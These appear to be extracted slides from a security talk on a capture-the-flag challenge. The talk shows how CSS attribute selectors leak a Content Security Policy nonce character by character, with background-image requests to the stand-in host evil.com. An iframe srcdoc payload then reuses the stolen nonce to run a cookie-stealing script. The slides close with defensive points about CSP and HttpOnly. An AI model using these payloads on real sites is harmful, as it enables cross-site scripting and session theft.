


What is this noncense security policy?!



HOW IS THIS SUPPOSED TO WORK?

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src   'unsafe-inline' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src   'unsafe-inline' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

Developer Tools - Chat - http://192.168.99.100:8080/#61dc29e8-18d0-4d23-i-love-comic-sans

Inspector Console Debugger Network Style Editor Performance Memory Storage Accessibility ...

Search HTML

```
<!DOCTYPE html>
<html> [event]
  <head> [event] </head>
  <body>
    <script nonce="e88bb3ea16c5f411ad52d58f">
      class Message extends HTMLElement { constructor() { super(); this.date = new Date(); } get username() { return this.getAttribute("username"); } get content() { return this.innerHTML; } static get observedAttributes() { return ['content', 'username']; } render() { this.innerHTML = `<li><em>${this.date.toLocaleTimeString()}</em><b>${this.username}</b>: ${this.content}</li>` } connectedCallback() { this.render() } attributeChangedCallback(name, oldValue, newValue) { this.render() } }
      class Join extends HTMLElement { constructor() { super(); this.date = new Date(); } get username() { return this.getAttribute("username"); } static get observedAttributes() { return ['username']; } render() { this.innerHTML = `<li><em>${this.date.toLocaleTimeString()}</em> -> <em>${this.username}</em> joined the room</li>` } connectedCallback() { this.render() } attributeChangedCallback(name, oldValue, newValue) { this.render() } }
      class Leave extends HTMLElement { constructor() { super(); this.date = new Date(); } get username() { return this.getAttribute("username"); } static get observedAttributes() { return ['username']; } render() { this.innerHTML = `<li><em>${this.date.toLocaleTimeString()}</em> ${this.username} left the room</li>` } connectedCallback() { this.render() } attributeChangedCallback(name, oldValue, newValue) { this.render() } }
    </script>
  </body>
</html>
```

Inherited from body

```
body [event] {
  font-family: Comic Sans MS;
}
```

html > body > script

Filter Output Errors Warnings Logs Info Debug CSS XHR Requests

- Content Security Policy: The page's settings blocked the loading of a resource at inline ("script-src"). onloadwff.js:71:814128
- Content Security Policy: The page's settings blocked the loading of a resource at eval ("script-src").
- Content Security Policy: The page's settings blocked the loading of a resource at inline ("script-src"). common.js:2:316
- Content Security Policy: The page's settings blocked the loading of a resource at inline ("script-src"). utils.js:35:9
- Request to access cookie or storage on "https://www.google.com/recaptcha/api.js" was blocked because it came from a tracker and content blocking is enabled. [Learn More] 192.168.99.100:8080

»

YOU GET A NONCE, YOU GET A NONCE



EVERYBODY GETS A NONCE!

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src   'unsafe-inline' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src   'unsafe-inline' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src   'unsafe-inline' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src   'unsafe-inline' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src   'unsafe-inline' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

style-src and img-src



```
a[href] {  
    /* ( █ █ ) */  
}  
}
```

```
a[href="http://example.com"] {  
    /* (■_■) */  
}
```

```
a[href*="example"] {  
    /* (■■■) */  
}
```

```
a[href|="example"] {  
    /* (■■■) */  
}
```

```
a[href~="example"] {  
    /* (■■_■) */  
}
```

```
a[href$="example"] {  
    /* (■■■) */  
}  
}
```

```
a[href^="example"] {  
    /* (■■_■) */  
}
```

```
script[nonce^="a"] {  
    /* ( ⚡_⚡ )>████-██ */  
}  
script[nonce^="b"] {  
    /* ( ⚡_⚡ )>████-██ */  
}
```

```
script[nonce^="a"] {  
  /* (○◦○) */  
  background: url("evil.com/?guess=a")  
}
```

```
script[nonce^="a"] {  
  background: url("evil.com/?guess=a")  
}  
script[nonce^="b"] {  
  background: url("evil.com/?guess=b")  
}  
script[nonce^="c"] {  
  background: url("evil.com/?guess=c")  
}  
script[nonce^="d"] {  
  background: url("evil.com/?guess=d")  
}  
script[nonce^="e"] {  
  background: url("evil.com/?guess=e")  
}  
script[nonce^="f"] {  
  background: url("evil.com/?guess=f")  
}  
script[nonce^="0"] {  
  background: url("evil.com/?guess=0")  
}  
script[nonce^="1"] {  
  background: url("evil.com/?guess=1")  
}
```

```
script[nonce^="2"] {  
  background: url("evil.com/?guess=2")  
}  
script[nonce^="3"] {  
  background: url("evil.com/?guess=3")  
}  
script[nonce^="4"] {  
  background: url("evil.com/?guess=4")  
}  
script[nonce^="5"] {  
  background: url("evil.com/?guess=5")  
}  
script[nonce^="6"] {  
  background: url("evil.com/?guess=6")  
}  
script[nonce^="7"] {  
  background: url("evil.com/?guess=7")  
}  
script[nonce^="8"] {  
  background: url("evil.com/?guess=8")  
}  
script[nonce^="9"] {  
  background: url("evil.com/?guess=9")  
}
```

```
script[nonce^="f"] {  
  background: url("evil.com/?guess=f")  
}
```

```
script[nonce^="fa"] {  
  background: url("evil.com/?guess=fa")  
}  
script[nonce^="fb"] {  
  background: url("evil.com/?guess=fb")  
}  
script[nonce^="fc"] {  
  background: url("evil.com/?guess=fc")  
}  
script[nonce^="fd"] {  
  background: url("evil.com/?guess=fd")  
}  
script[nonce^="fe"] {  
  background: url("evil.com/?guess=fe")  
}  
script[nonce^="ff"] {  
  background: url("evil.com/?guess=ff")  
}  
script[nonce^="f0"] {  
  background: url("evil.com/?guess=f0")  
}  
script[nonce^="f1"] {  
  background: url("evil.com/?guess=f1")  
}
```

```
script[nonce^="f2"] {  
  background: url("evil.com/?guess=f2")  
}  
script[nonce^="f3"] {  
  background: url("evil.com/?guess=f3")  
}  
script[nonce^="f4"] {  
  background: url("evil.com/?guess=f4")  
}  
script[nonce^="f5"] {  
  background: url("evil.com/?guess=f5")  
}  
script[nonce^="f6"] {  
  background: url("evil.com/?guess=f6")  
}  
script[nonce^="f7"] {  
  background: url("evil.com/?guess=f7")  
}  
script[nonce^="f8"] {  
  background: url("evil.com/?guess=f8")  
}  
script[nonce^="f9"] {  
  background: url("evil.com/?guess=f9")  
}
```

```
script[nonce^="f1"] {  
  background: url("evil.com/?guess=f1")  
}
```

HAH

EASY PEASY !

Send styles for
nonce[^]="?"



```
script[nonce^="a"] {  
    background: url(evil.com/?guess=a)  
}  
script[nonce^="b"] {  
    background: url(evil.com/?guess=b)  
}  
script[nonce^="c"] {  
    background: url(evil.com/?guess=c)  
}  
script[nonce^="d"] {  
    background: url(evil.com/?guess=d)  
}  
script[nonce^="e"] {  
    background: url(evil.com/?guess=e)  
}  
script[nonce^="f"] {  
    background: url(evil.com/?guess=f)  
}  
script[nonce^="g"] {  
    background: url(evil.com/?guess=g)  
}  
script[nonce^="h"] {  
    background: url(evil.com/?guess=h)  
}  
script[nonce^="i"] {  
    background: url(evil.com/?guess=i)  
}
```


Load background
image for nonce[^]="f"





Admin

Load "image" evil.com/guess=f


```
script[nonce^="f"] {  
    background: url("evil.com/?guess=f")  
}
```








```
<iframe srcdoc="<script nonce='{full}'>steal();</script>">  
    </iframe>
```



```
<iframe srcdoc="<script nonce='{full}'>steal();</script>">  
    </iframe>
```



I'M GETTING THE WORD

NONCE



T-Mobile Austria


@tmobileat

Follow

Replying to [@Korni22](#) [@c_pellegrino](#) and 2 others

@Korni22 What if this doesn't happen
because our security is amazingly good?
^Käthe

2:27 AM - 6 Apr 2018



```
script[nonce^="a"] {  
  background: url("...")  
}
```

```
script[nonce^="a"] ~ * {  
  background: url("...")  
}
```



```
script[nonce^="a"] ~ * {/*-*/}  
script[nonce^="aa"] ~ * {/*-*/}  
script[nonce^="aaa"] ~ * {/*-*/}
```



```
script[nonce^="a"] ~ * {/*-*/}  
script[nonce^="aa"] ~ div {/*-*/}  
script[nonce^="aaa"] ~ ul {/*-*/}
```

```
<html> event
  > <head> ... </head>
  > <body>
    > <script nonce="e88bb3ea16c5f411ad52d58f"> ... </script>
    > <nav>
      <a href="/">new chat</a>
      <a id="report-link" href="#">report</a> event
      <a id="username" href="#61dc29e8-18d0-4d23-i-love-comic-sans">frozen purple</a> event
    </nav>
    <div id="recaptcha"></div>
    <input id="chatbox" placeholder="press enter to send"> event
  > <div id="status"> ... </div>
  > <ul id="messages"> ... </ul>
  </body>
</html>
```

```
<html> event
  > <head> ...
  > </head>
  > <body>
    > <script nonce="e88bb3ea16c5f411ad52d58f">
    > <nav>
      <a href="/">new chat</a>
      <a id="report-link" href="#">report</a>
      <a id="username" href="#61dc29e8-18d0-44...
    </nav>
    <div id="recaptcha"></div>
    <input id="chatbox" placeholder="press enter" type="text"/>
    > <div id="status"> ...
    > <ul id="messages"> ...
    </body>
  </html>

  script[nonce^="%s"] ~ *
  script[nonce^="%s"] ~ ul
  script[nonce^="%s"] ~ div
  script[nonce^="%s"] ~ input
  script[nonce^="%s"] ~ nav
  body > script[nonce^="%s"] ~ ul
  body > script[nonce^="%s"] ~ div
  body > script[nonce^="%s"] ~ input
  body > script[nonce^="%s"] ~ nav
  script[nonce^="%s"] ~ #messages
  script[nonce^="%s"] ~ #status
  script[nonce^="%s"] ~ #chatbox
  script[nonce^="%s"] ~ #recaptcha
  script[nonce^="%s"] ~ nav > a
  script[nonce^="%s"] ~ nav > #report-link
  script[nonce^="%s"] ~ nav > #username
  body script[nonce^="%s"] ~ #messages
  body script[nonce^="%s"] ~ #status
  body script[nonce^="%s"] ~ #chatbox
  body script[nonce^="%s"] ~ #recaptcha
  body script[nonce^="%s"] ~ nav > a
  body script[nonce^="%s"] ~ nav > #report-link
  body script[nonce^="%s"] ~ nav > #username
  body script[nonce^="%s"] ~ nav > [href="/"]
  body script[nonce^="%s"] ~ nav > [href="#"]
```

Full exploit demo

Impact

YOU HAVE BEEN XSS-PWNED



HAND OVER THE COOKIES

XSS prevention is hard

CSP is hard

script-src 'self'

(ノ益)

script-src 'self'

```
<script src="https://google.com/tracking.js"></script>
<script src="https://site1.com/cool.js"></script>
<script src="https://site2.com/..."></script>
<script src="https://site3.com/..."></script>
<script src="..."></script>
```

~~script src 'self'~~

If other sites added:
Whitelist bypasses possible
(JSONP endpoints)

script-src 'sha256-
B2yPHKaXnvFwtRChIbabYmU
BFZdVfKKXhbWtWidDVF8='



script-src 'sha256-
B2yPHKaXnvFwtRChIbabYmU
BFZdVfKKXHbWtWidDVF8='

```
<script src=".../update-me-1.js"></script>
<script src=".../update-me-2.js"></script>
<script src=".../update-me-3.js"></script>
```

There is no simple
CSP-based solution!

Inspector Console Debugger ↑↓

Search HTML

```
<!DOCTYPE html>
<html> [event]
  > <head>...</head>
  > <body>
    > <script nonce="e88bb3ea16c5f411ad52d58f">
      class message extends HTMLElement { construct...
        this.getAttribute("username"); } get content...
        return ['content', 'username']; } render() {
          <b>${this.username}</b>: ${this.content}</li>
        attributeChangedCallback(name, oldValue, newValue);
      constructor() { super(); this.date = new Date();
        static get observedAttributes() { return ['u...
        `<li><em>${this.date.toLocaleTimeString()}</em></li>
      connectedCallback() { this.render() } attrib...
      class Leave extends HTMLElement { constructo...
```

html > body > script



Filter Output

Elements Console Sources

```
...<!doctype html> == $0
<html>
  > <head>...</head>
  > <body>
    > <script nonce="e88bb3ea16c5f411ad52d58f">
      class message extends HTMLElement { construct...
        this.getAttribute("username"); } get content...
        return ['content', 'username']; } render() {
          <b>${this.username}</b>: ${this.content}</li>
        attributeChangedCallback(name, oldValue, newValue);
      constructor() { super(); this.date = new Date();
        static get observedAttributes() { return ['u...
        `<li><em>${this.date.toLocaleTimeString()}</em></li>
      connectedCallback() { this.render() } attrib...
      class Leave extends HTMLElement { constructo...
```

Content Security Policy Level 2 - CR


Usage

% of

Global

84.39%

Mitigate cross-site scripting attacks by whitelisting allowed sources of script, style, and other resources. CSP 2 adds hash-source, nonce-source, and five new directives



9 Edge has broken nonce support as it ignores nonces on sourced scripts.

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src  'unsafe-inline' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

```
default-src 'self';
script-src  'nonce-6852542ba43de97dd34c8058';
frame-src   {recaptcha_url};
connect-src 'self' {ctf_url} {recaptcha_url};
worker-src  {recaptcha_url};
style-src  'self' {recaptcha_url};
font-src    'self';
img-src     *;
report-uri  {ctf_url}/report-violation;
object-src  'none'
```

CSS not the only way...

Never trust user input!

A large, blue, fuzzy monster with two large white eyes and a wide, toothy grin, resembling the Cookie Monster from Sesame Street.

HttpOnly???